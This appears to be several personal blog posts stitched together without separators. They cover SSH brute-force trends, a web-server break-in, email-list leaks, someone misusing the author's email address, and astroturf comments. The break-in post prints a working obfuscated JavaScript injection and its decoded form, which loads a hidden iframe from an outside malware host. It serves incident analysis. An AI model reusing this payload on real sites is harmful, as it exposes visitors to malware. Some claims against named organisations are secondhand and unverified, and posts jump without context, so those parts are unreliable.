Unfortunately, it looks like the bad guys have finally figured out how to put their bots to work running distributed SSH brute-force attacks. If so, then fail2ban is no longer going to be good enough, and more sophisticated (and inconvenient) measures are going to be needed.

Prior to December 1, the five machines I maintain with SSH servers accessible to the public have been probed by an average of 13 different IP addresses per day. On December 1, they were probed by 109 different IP addresses, a 738% increase over the prior average. On December 2 and 3, they were probed by 79 and 72 different IP addresses. Not as high as the first day, but still quite a jump!

I saw this increase across the board on five different machines on four distinct networks run by four different network service providers. I’ve been in correspondence with someone at the SANS Internet Storm Center who says he’s seen a similar spike on machines he maintains.

It seems clear to me that someone is engaging in a distributed brute-force attack trying to break into servers as root via ssh.

Since this particular attack is targeted at the root user, you’re safe for the time being as long as you don’t allow root to log in with a password. But it’s only a matter of time before they start attempting distributed brute-force attacks of non-root accounts. When that happens, blocking individual IP addresses with a series of failed login attempts is no longer going to be sufficient.

If you maintain a server whose SSH port is open to the public, please let me know the details if you’re seeing a similar attack on your server (you can post a comment here or email me. In case it is useful, here is the script I have been using to collect and display data from the machines I maintain.

UPDATE: It looks like it’s dying down. As of December 8, SSH brute-force attempts from distinct IP addresses are at or near their pre-spike levels:

Either somebody’s managed to put a stop to whatever was executing this attack, or the attackers have gone back to the drawing board and are tweaking their bots in preparation for the next attack. :-/

(Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically fetches the URL /cron.php on the site. Each time /cron.php is fetched, Drupal checks if any scheduled tasks came due since the last time it was fetched, and executes the PHP code for those tasks. The scheduled tasks aren’t actually supposed to generate any output, so the cron job that fetches /cron.php shouldn’t generate any output and therefore shouldn’t cause cron to send email.)

All the sudden, the cron job that fetches /cron.php started sending me email every time that it ran. When I looked closely, I saw that the contents of the email were some strange, totally incomprehensible JavaScript fragment. I was incredibly busy, so although I thought it was curious that this should suddenly start happening, I didn’t immediately give much thought to it. After it had been stewing in the back of my mind for a couple of hours, however, I suddenly realized with a start that some script kiddie had almost certainly broken into the server and added malicious JavaScript to its pages, so I had no choice but to stop what I was doing and clean up the mess.

It turned out that two Drupal files, /index.php and /includes/bootstrap.inc, had indeed had malicious JavaScript appended to the end of them:

<script>b=new function(){return 2;};if(!+b)String.prototype.test=”harC”;for(i in $=’esrhserh’)if(i==’te’+'st’)m=$[i];try{new Object().wehweh();}catch(q){ss=”";}try{window['e'+'v'+'al'](‘asdas’)}catch(q){s=String["fr"+"omC"+m+"od"+'e'];}d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd=”e”;if({}.asd===’e')a=document['c'+'r'+'e'+'a'+'t'+'e'+'T'+'e'+'x'+'t'+'N'+'o'+'d'+'e'](’321′);if(a.data==321)t=-1*(d-d2);n=[-t+7,-t+7,-t+103,-t+100,-t+30,-t+38,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+39,-t+121,-t+7,-t+7,-t+7,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+57,-t+7,-t+7,-t+123,-t+30,-t+99,-t+106,-t+113,-t+99,-t+30,-t+121,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+117,-t+112,-t+103,-t+114,-t+99,-t+38,-t+32,-t+58,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+30,-t+113,-t+112,-t+97,-t+59,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+30,-t+117,-t+103,-t+98,-t+114,-t+102,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+113,-t+114,-t+119,-t+106,-t+99,-t+59,-t+37,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+56,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+57,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+56,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+57,-t+106,-t+99,-t+100,-t+114,-t+56,-t+46,-t+57,-t+114,-t+109,-t+110,-t+56,-t+46,-t+57,-t+37,-t+60,-t+58,-t+45,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+60,-t+32,-t+39,-t+57,-t+7,-t+7,-t+123,-t+7,-t+7,-t+100,-t+115,-t+108,-t+97,-t+114,-t+103,-t+109,-t+108,-t+30,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+121,-t+7,-t+7,-t+7,-t+116,-t+95,-t+112,-t+30,-t+100,-t+30,-t+59,-t+30,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+97,-t+112,-t+99,-t+95,-t+114,-t+99,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+38,-t+37,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+113,-t+112,-t+97,-t+37,-t+42,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+59,-t+37,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+59,-t+37,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+106,-t+99,-t+100,-t+114,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+114,-t+109,-t+110,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+117,-t+103,-t+98,-t+114,-t+102,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+44,-t+95,-t+110,-t+110,-t+99,-t+108,-t+98,-t+65,-t+102,-t+103,-t+106,-t+98,-t+38,-t+100,-t+39,-t+57,-t+7,-t+7,-t+123];for(i=0;i<n.length;i++)ss+=s(eval(“n”+”["+"i]“));eval(ss);</script>

Since this Drupal site is hardly used nowadays and hasn’t been updated in a long time, my first guess was that somebody had found a way to take advantage of an old Drupal bug to modify files within the site’s filesystem hierarchy. However, the thing I couldn’t immediately explain was that neither the modified files nor the directory they lived in were writable by the “apache” user which which owns the web server processes. I said to myself, “Either I’m missing something, or whoever did this had root access to my server.” Since I was still incredibly busy, I decided at least for the time being to be optimistic and assume the former because the latter was sure to turn out to be a much bigger pain to deal with. Therefore, I restored the unhacked versions of the files, changed the ownership of all the files in the hierarchy to root, removed write access from the entire hierarchy to everyone, and got on with my day. This was a mistake.

Shortly after, when I was just about to leave the house to go to curriculum night at my kids’ school, I noticed an email message in my inbox saying that another web site I host, an actively maintained MediaWiki site, was reporting an internal server error when people tried to access it. Since it’s unlikely that the current MediaWiki version would have an unpatched security bug being actively exploited, and even more unlikely that an attacker would exploit separate Drupal and MediaWiki bugs to gain access to a server, it was immediately obvious that someone had, in fact, broken into my server, and I was in for a long night. In the time I had available, all I could do was shut down the web server processes so my server wouldn’t be serving malicious content onto the web; the next few hours were not my most attentive curriculum night.

Here’s an overview of what I discovered when I performed a full investigation and mitigation:

• The MediaWiki files that were modified, with the same JavaScript, were /index.php and /includes/Title.php.
• My SSH daemon as well as a number of other SSH executables were replaced. I think the new version which ignored /etc/hosts.deny and had a backdoor to allow root access without going through PAM.
• Several other web sites I host were hacked with the same JavaScript:
• /index.php and /wp-feed.php on my WordPress blog
• /charter.html and /index.html on a raw-HTML web site
• /index.php on a CMS Made Simple web site
• /index.html in the root directory for the default web site (i.e., /var/www/html/index.html on the server filesystem)
• /index.php and /includes/footer.php on a currently unused and out-of-date Joomla! web site
• Here’s what the obfuscated JavaScript shown above tries to execute:

  if (document.getElementsByTagName('body')[0]) {
      iframer();
  }
  else  {
      document.write("");
  }
  function iframer() {
      var f = document.createElement('iframe');
      f.setAttribute('src','http://googlecheck.cz.cc/index.php?tp=e959139e7f601264');
      f.style.visibility='hidden';
      f.style.position='absolute';
      f.style.left='0';
      f.style.top='0';
      f.setAttribute('width','10');
      f.setAttribute('height','10');
      document.getElementsByTagName('body')[0].appendChild(f);
  }

• Google Chrome is smart enough to detect and warn about this malicious JavaScript. Firefox isn’t. I didn’t try any other browsers.

Additional details about what was changed are included below. I saved copies of all of the modified executables and most of the modified web site files, so if you work in internet security by vocation or avocation and feel like disassembling some hacked SSH binaries to see what makes them tick, let me know.

Unfortunately, I can’t say exactly how the hacker broke into my server. It’s possible that he took advantage of an unpatched security hole in my virtual machine, but it’s also possible that he broke into the physical server hosting it, because my VM runs on a VPS infrastructure, in which anyone who with access to the host server has access to all of the processes and files owned by the individual VPSes.

In addition to restoring all of the modified web site files and executables (I ran a complete audit with “rpm –verify -a” as well as comparing the whole filesystem to its previous night’s backup from before the break-in), I took the following steps to (I hope) protect my server against future incursions:

• I updated a whole bunch of RPMs on my appliance (full list below), many of which no doubt contained security fixes.
• I fixed the configuration of yum-updatesd so that it will (at least I hope it will; I will follow up later to make certain) notify me promptly when future updates are available. I already had it running but configured to send notifications via dbus rather than email, which didn’t do any good because I never log into the VPS on a graphical console. Shame on me for not making sure this was working properly before.
• I reset all of the passwords for accounts that had passwords (accounts whose only access is via SSH public-key authentication do not have passwords).
• I changed my own account password not only on my server, but also everywhere else where I used the same password.

More details about the method and content of the attack

Some interesting log entries from /var/log/secure around when the break-in happened:

Sep 15 12:28:20 jik3 sshd[3188]: Connection closed by 63.223.110.54
Sep 15 12:37:32 jik3 sshd[1408]: Received signal 15; terminating.
Sep 15 12:37:33 jik3 sshd[16375]: Server listening on 0.0.0.0 port 22.
Sep 15 12:37:55 jik3 sshd[16388]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 12:38:01 jik3 sshd[16435]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:06:53 jik3 sshd[27758]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:06:58 jik3 sshd[27890]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:07:48 jik3 sshd[28345]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:08:10 jik3 sshd[28527]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:09:14 jik3 sshd[28926]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:09:15 jik3 sshd[28929]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:11:32 jik3 sshd[29832]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:11:34 jik3 sshd[29834]: pam_unix(sshd:session): session opened for user root by (uid=0)

I reviewed all of my logs, and this is the only trace I found of the attack (there didn’t even seem to be anything left behind in /root/.bash_profile, although I suppose it’s possible that I accidentally erased it). My best educated guess is that the first log line above is a hint that the attacker used a bug in sshd or one of the libraries it links against, probably a buffer overflow or something like that, to gain access to the server. The second and third lines are when the attacker restarted his version of /usr/sbin/sshd. The subsequent lines are him logging in through the modified sshd.

It’s worth noting that I have a monitor running on my box which notifies me about abnormal syslog messages on a minute-by-minute basis 24×7, but all of the messages above are considered normal so I wasn’t notified them. I would have been notified if sshd had logged “Accepted publickey|password for root from IP-address-that-I-don’t-usually-use,” but alas the hacker’s version of sshd suppressed this log message.

The following SSH executables were all modified at 12:36pm:

• /usr/sbin/sshd
• /usr/bin/ssh-keygen
• /usr/bin/scp
• /usr/bin/sftp
• /usr/bin/ssh
• /usr/bin/ssh-add
• /usr/bin/ssh-agent
• /usr/bin/ssh-keygen
• /usr/bin/ssh-keyscan

In addition, the files /usr/libexec/sftp-server and /usr/libexec/ssh-keysign, and/usr/share/Ssh.bin were added. The latter was a 600-byte file containing unidentified binary data. The “file” utility claims that it is a “DBase 3 data file (507582464 records),” which is obviously totally bogus.

Also, a bunch of man pages were added in /usr/share/man: man1/scp.1, man1/sftp.1, man1/slogin.1, man1/ssh-add.1, man1/ssh-agent.1, man1/ssh-keygen.1, man1/ssh-keyscan.1, man1/ssh.1, man5/ssh_config.5, man5/sshd_config.5, man8/sftp-server.8, man8/ssh-keysign.8, and man8/sshd.8. I must admit that it was very considerate for the attacker to include man pages for the binaries he installed! *rimshot*

Full list of updated RPMs

Perhaps somebody who follows security patching more closely than I do nowadays can look at this and tell me which of the old RPMs on my server was the attack vector.

I’ve reset the password on the account to prevent him from using it, but I can’t log into the account to see what profile information he specified or what he did on the site, because the site provides no way to recover a lost username. I’ve contacted webmaster@mozilla.com and asked them to provide me with the username as well as information from their logs about who created this account.

They’re a bit more likely to be willing to help then Skype, given that (a) they’re a collaborative, open-source organization and (b) I have an ongoing relationship with Mozilla, having submitted several core and Thunderbird patches and been nominated as a “Friend of the Tree”.

I’ve asked them at the very least, if they’re unwilling or unable to provide me with the username, to delete the account, since I don’t want accounts created by other people using my email address on sites all over the internet.

I have been in conversation about this with a high-level employee at Brave New Foundation, and I am now able to report the following important information:

• Brave New Foundation does not sell, share or rent their email lists.
• There is a Brave New Foundation employee with access to their lists who has a relative who works for Nation of Change.
• Brave New Foundation believes that this Nation of Change employee made unauthorized use of his/her relative’s access to copy an as yet undetermined subset of Brave New Foundation’s email lists for Nation of Change’s use.
• Brave New Foundation does not believe its employee was complicit in this unauthorized access. In fact, s/he was unaware that it had occurred until I brought it to Brave New Foundation’s attention.
• Brave New Foundation considers this breach of their data to be extremely serious, and they are actively investigating it.
• Brave New Foundation is considering legal action against Nation of Change both to prevent any further use of the copied email addresses and to obtain financial compensation for the damage to Brave New Foundation’s reputation and the time and resources spend investigating this incident.

All of this information, as well as some additional off-the-record supporting information that I cannot report here, was provided to me directly by an employee of Brave New Foundation. I have no reason to believe that employee is lying, and what s/he told me is consistent with my suspicions and impressions about Nation of Change. However, in the spirit of full disclosure, I want to be clear that I have not seen any hard evidence supporting any of Brave New Foundation’s allegations against Nation of Change.

When you combine these new allegations against Nation of Change with all the other issues I raised in my first posting about them, it seems doubtful that this is an organization which deserves anyone’s support.

I asked a lot of questions about Nation of Change, and thus far they’ve failed to respond to any of them. Here’s what has happened instead.

In response to my complaint, a representative of Nation of Change informed me, “I was unable to find your address: [elided] in our system.” I sent back a reply in which I included the entire header of the spam from Nation of Change, showing clearly that they had sent email to that address. They did not respond.

Much more significantly, several days later I received a “Thank you for Signing Up!” email sent to the same tagged email address from a different progressive web site, CommonDreams.org. When I complained to them, they claimed that someone had entered the address into the subscription form on their web site.

This is certainly not coincidence. It looks very much to me like whoever is behind the unauthorized transfer of a list of email addresses from Brave New Foundation to Nation of Change is trying to cover their tracks by making it look like I’m lying about the privacy of the email address in question. Either that, or they’re just being vindictive and trying to make my life difficult because I exposed their actions.

In January 2010, Oracle completed its acquisition of Sun. The Sun developer web sites were eventually decommissioned and are not active today. Since the completion of the acquisition, I’ve received no email at the tagged email address I gave to Sun. Until today, that is.

Today, I received this spam sent to that tagged email address:

Received: from mail.recruitingbee-agent8.com (mail.recruitingbee-agent8.com [184.172.232.199])
	by jik3.kamens.brookline.ma.us (8.13.8/8.13.8) with ESMTP id p7BNER5P022529
	for <[elided]>; Thu, 11 Aug 2011 19:14:27 -0400
Received: from find ([127.0.0.1]) by recruitingbee-agent8.com with MailEnable ESMTP; Thu, 11 Aug 2011 18:14:39 -0500
MIME-Version: 1.0
From: "Tech-centric Jobs" <noreply@recruitingbee-agent8.com>
To: [elided]
Date: 11 Aug 2011 18:14:39 -0500
Subject: Technology job openings
Content-Type: text/plain; charset=us-ascii
Message-ID: <EF440C500DF841B3AE10C51197A0EA91.MAI@recruitingbee-agent8.com>
Content-Transfer-Encoding: 8bit

**********************************************************************

Find the latest software & programming jobs http://www.tech-centric.net/

**********************************************************************

A good programmer is someone who always looks both ways before crossing a one-way street. ~Doug Linder

The latest programming jobs are available: http://www.tech-centric.net/

If however you are not interested in exploring programming jobs at this time please optout:

http://www.recruitingbee.com/unsubscribe.aspx?email=[elided]&token=[elided]

All the best,
The Health Medical Job Site
1350 E Flamingo Rd
Las Vegas NV, 89119

It looks like either Oracle sold the email addresses of sun.com web site users to a third party, or somebody stole them. Neither of these casts Oracle in a particularly good light.

I am, of course, going to do my best to contact someone in Oracle who might be willing and able to look into this, but I am rather skeptical that I will have any success.

I suspect that in addition to the ones I know about, this individual is probably also doing things that I don’t know about, because I assume that not all the web sites at which he’s using my address are kind enough to send me an email address alerting me to what he’s doing.

Today, however, I did get a notification from one site that I didn’t know about before — he apparently signed up for a Skype account using my email address. They emailed me about it because he attempted to purchase Skype credit but didn’t complete the transaction.

I immediately took advantage of Skype’s password recovery feature to reset the password on the account. I.e., I stole the account from the identity thief, just as I did when he signed up for a gmail account using my email address.

Then I sent this message to Skype’s customer support department. I don’t honestly expect them to respond in any useful way, but I figured it was worth a try:

As described at http://blog.kamens.us/?p=2258, someone I do not know has been going to various sites all over the internet and interacting with those sites using my email address, jik@kamens.brookline.ma.us. The things that I am aware of before today are (a) submitting a bizarre support request to Starwood hotels customer service and (b) creating a gmail account with my email address specified as its password recovery address. I am worried that whoever this person is may have used my email address at other sites as well, but these are the ones I know about.

Today, a new one occurred — this individual signed up for a skype account with the skype name bouba.diallo30 and using my email address. I received an email address notifying me of this fact because this individual apparently attempted to purchase a Skype credit but did not complete the transaction.

Because I obviously do not want people on the Internet impersonating me or using my email address for nefarious purposes, I used your password recovery feature to reset the password on this account so that it is one that I know and the identity thief does not. This is why I am currently writing to you from that account — I have taken over the account, which I think is perfectly legitimate since it was created using my email address and whoever created it is obviously up to no good. (I did the same thing to the gmail account that the thief created using my email address as its password recovery address.)

I would like your help tracking down whoever this person is. I don’t know what the hell he’s up to, but I’m really concerned that it’s something that’s going to hurt me, and I’m trying to collect as much information as possible about what’s going on so that I will be armed and ready if I need to escalate the fight against whatever this person is doing.

Can you please tell me how I can go about getting whatever additional information about this individual, e.g., what IP address was used to create the account, exactly when it was created, etc., i.e., anything at all you have logged about this person’s actions?

Please note that I am *very* careful with the security of my computer, home network and web accounts, and it is extremely unlikely that whoever is doing this has actually taken over my computer or email account or anything like that.

Thank you in advance for any help you can provide.

Sincerely,

Jonathan Kamens (the *real* jik@kamens.brookline.ma.us, as you can see from the jonathan.kamens Skype account which I’ve had associated with that email address for several years)

Interestingly, here are the profile details that the identity thief specified when creating the Skype account:

I wish I knew what the hell this guy thinks he’s accomplishing with these hijinks.

Therefore, I’m blogging what I know, in the hope that perhaps someone else will be able to look at the facts and point out something I missed about why this is going on.

A few days ago, I received an automated email message from the “Starwood Preferred Guest” program which began, “Thank you for contacting Starwood Preferred Guest.” Except I hadn’t.

I assumed that a spammer had sent spam with my return address to Starwood, so I just ignored it.

However, later that day, I received this message from Starwood:

Dear Jonathan Kamens,
Thank you for contacting Starwood Preferred Guest. I hope this email finds you well.
I must apologize but I am unable to determine exactly what your inquiry is regarding. If you would please reword your question or add more detail we would be pleased to assist you.
We are always available to assist you; feel free to chat with us online, have us call you, or if you prefer, simply reply to this email. Have a lovely evening.

Best Regards,

[name elided]
Specialist, E-Communications Department
Starwood Hotels & Resorts Worldwide

Original Message Follows:
————————
SPG Number: *******24
Subject: Benefit Clarifications
Comments: In the moment two persons must give me money they are Ingrid Betancourt and Guy André-Kieffer these two persons must give me two milliards [sic] of dollars.
First Name: Diallo
Last Name: Mamadou Oury
Email Address: jik@kamens.brookline.ma.us
Membership Level: E

Note that whoever wrote to Starwood (through a form on their Web site, I suspect) gave the name “Diallo Mamadou Oury”, but when Starwood wrote back to me, they used my real name! I thought at the time that they must have looked up my name from my email address, since I was at one point a member of the Starwood program, but I just called their customer server number and asked them to look up my account by name or email address, and they were unable to do so. I just sent them an email message asking where they got my name from; I will update this blog entry when I hear back from them about it.

Note also that Ingrid Betancourt and Guy André-Kieffer are real, prominent people. Bizarre!

Anyway, I wrote back to Starwood and told them that somebody was clearly just misusing my email address, and they should ignore it. I thought that was the end of it.

Now it gets crazy.

Earlier today, I got this from Google:

Congratulations on creating your brand new Gmail address,
ibsondao.mamadou331@gmail.com.
Please keep this email for your records, as it contains an important verification code that you may need should you ever encounter problems or forget your password.

You can login to your account at http://mail.google.com/

Enjoy!

The Gmail Team

Verification code: [elided]

If you didn’t create this Gmail address and don’t recognize this email, please visit: http://mail.google.com/support/bin/answer.py?answer=62400

WTF? What benefit would someone get from creating a Gmail account and using someone else’s email address as the recovery address?

Thinking fast, I immediately used the fact that this person listed my email address for recovery to change the account’s password and security question. So whatever he was intending to do with this account, which I honestly can’t imagine, he isn’t going to be able to.

Note that whoever created the Google account gave the name “Diallo Mamadou”, which matches what he gave to Starwood, but doesn’t match the email address he chose, where he instead used the name “Ibso Ndao Mamadou”.

So, does anybody have any ideas about what’s going on here?

About six months ago, I started getting spam from an email address that I had only used in one place: signing up one of my kids for a Scholastic, Inc. book club through their web site back in 2007.

I contacted Scholastic and told them that either they were selling my email address and it needed to stop, or they had suffered a data breach of at least customer email addresses, if not more.

In response, Scholastic’s CISO informed me that Scholastic doesn’t sell email addresses to third parties; their children’s book club business was sold to Sandvik Publishing in 2008; the email address in question was no longer in Scholastic’s database; and I should contact Sandvik if I wished to pursue the matter further.

I sent a reply to the CISO which read as follows:

I don’t recall ever being asked whether I considered it OK for Scholastic to sell my PII to another company. This is especially disturbing since at that point I was no longer a customer of Scholastic’s for the business that was sold.

Granted, your privacy policy gives you the legal right to sell any information you collect to anyone you want. The fact that you are legally permitted to do that doesn’t make it right.

Your privacy policy also says, “Scholastic ensures that all personally and non-personally identifiable information that it receives via the Internet is secure against unauthorized access.” Alas, you apparently do not consider it your responsibility to ensure that the third parties to whom you sell PII keep it as secure as you claim to do yourselves. That is rather disappointing.

I will contact [Sandvik] as you have suggested. However, if I were in your shoes, I would be extremely concerned that a third party to whom Scholastic had sold PII allowed it to be compromised, and I would consider it my responsibility to investigate the issue myself, rather than leaving the wronged (former) Scholastic customer entirely on his own.

I received no further response from Scholastic.

I then contacted the president of Sandvik. He insisted that Sandvik also does not sell email addresses, and that it was simply impossible that my address could have been leaked through them, since the only place they have it is on a USB drive locked in a safe. They said it was more likely that the address was stolen by someone from my mail server or computer.

I explained in response that the the only place this address could be found on my computer was in a three-year-old, compressed email archive in a totally non-standard location in my home directory, and that I ran my own Linux mail server which I actively monitored on a daily basis, which had never shown any evidence of any sort of successful intrusion, and which in any case was hardly an attractive target for spammers to go to the trouble of harvesting email addresses from, since it serves only the people in my family.

For this, and various other reasons I pointed out, it was far more likely that the address had been stolen at some point from Sandvik. I also pointed out that the data breach laws in many of the states in which Sandvik does business would seem to require Sandvik to initiate an investigation into the breach and/or to report it to various state governments. At this point, Sandvik, too, stopped responding to my emails.

There’s really no way of knowing whether my email address was actually stolen from Scholastic or Sandvik. I don’t save mail server logs back far enough to know when I first started getting spam at that address, and even if I did, there’s no guarantee that spammers would have started using the address immediately after getting their hands on it, nor is there any guarantee that Scholastic completely destroyed the data immediately after selling the business to Sandvik. Scholastic and Sandvik both refuse to acknowledge the possibility that email addresses and possibly more PII were stolen from them, and it’s unlikely that a nobody like me would be able to convince them to take this more seriously, so I stopped trying.

I’d like to contrast the poor handling of the email address breach by Scholastic and/or Sandvik with an email message I just got from Brookstone:

++++++++++++Important E-Mail Security Alert++++++++++++

Dear Valued Brookstone Customer,

On March 31, we were informed by our e-mail service provider that your e-mail address may have been exposed by unauthorized entry into their system. Our e-mail service provider deploys e-mails on our behalf to customers in our e-mail database.

We want to assure you that the only information that may have been obtained was your first name and e-mail address. Your account and any other personally identifiable information are not stored in this system and were not at risk.

Please note, it is possible you may receive spam e-mail messages as a result. We want to urge you to be cautious when opening links or attachments from unknown third parties.

In keeping with best industry security practices, Brookstone will never ask you to provide or confirm any information, including credit card numbers, unless you are on our secure e-commerce site, Brookstone.com.

Our service provider has reported this incident to the appropriate authorities.

We regret this has taken place and for any inconvenience this may have caused you. We take your privacy very seriously, and we will continue to work diligently to protect your personal information.

Sincerely,

Brookstone Customer Care

It turns out that the provider who leaked Brookstone’s address list was Epsilon, and they also leaked the lists of a bunch of other clients, many of them more frightening (because of the risk of spear phishing attacks) than Brookstone. See Krebs on Security for details.

It’s unfortunate that Brookstone allowed a breach of email addresses and the first names associated with them, because spammers will use the first names to help them evade people’s spam filters and execute more convincing and successful phishing attacks. Having said that, Brookstone deserves a great deal of credit for sending out this notification. Furthermore, if the timeline in the notification is true, then they sent it out two days after being notified about the breach, which is all the more impressive.

Update [4/5/2011]: I’ve now also been contacted about the Epsilon breach by 1-800-FLOWERS.COM and Walgreens. Woohoo!

Update [4/6/2010]: Add Chase to the list. It’s sort of sad that it took Chase, a bank, three days longer to notify me than Brookstone, a high-end luxury toys merchant.

The commenter gave the name “Diane Pearce Votes for Obama Again” and linked to my.barackobama.com. I thought it was slightly weird, but not weird enough to merit further investigation.

Then, three hours later, another comment came in on a different blog posting, this time from “Diane Pearce Loves Barack Obama”: “All I know is that I work at a large Pharmaceutical corporation in Clayton NC and I endroce Barack Obama with all my being. I would love for all my friends and colleagues to re-elect Obama in 2012!! I LOVE YOU OBAMA.”

That exceeded my weirdness threshold, so I looked into it a bit further.

The two comments gave two different email addresses, Reitter@gmail.com and Lipovsky@gmail.com, both of which appear to be based on people’s names and neither of which is related to the full name given by the commenter.

One of the comments was posted from an IP address in the United Arab Emirates. The other was posted from Indonesia.

I Googled for pages matching “Diane Pearce” and Obama, and there were 264 matches, many of which were similar comments. I did the same Google search a half hour later, and the count was up to 270.

Someone is clearly astroturfing here. The motives for this, and whether the people doing it are in reality trying to help or hurt Obama, are left as an exercise to the reader.

Diane Pearce Votes for Obama Again my.barackobama.com Reitter@gmail.com 86.96.226.22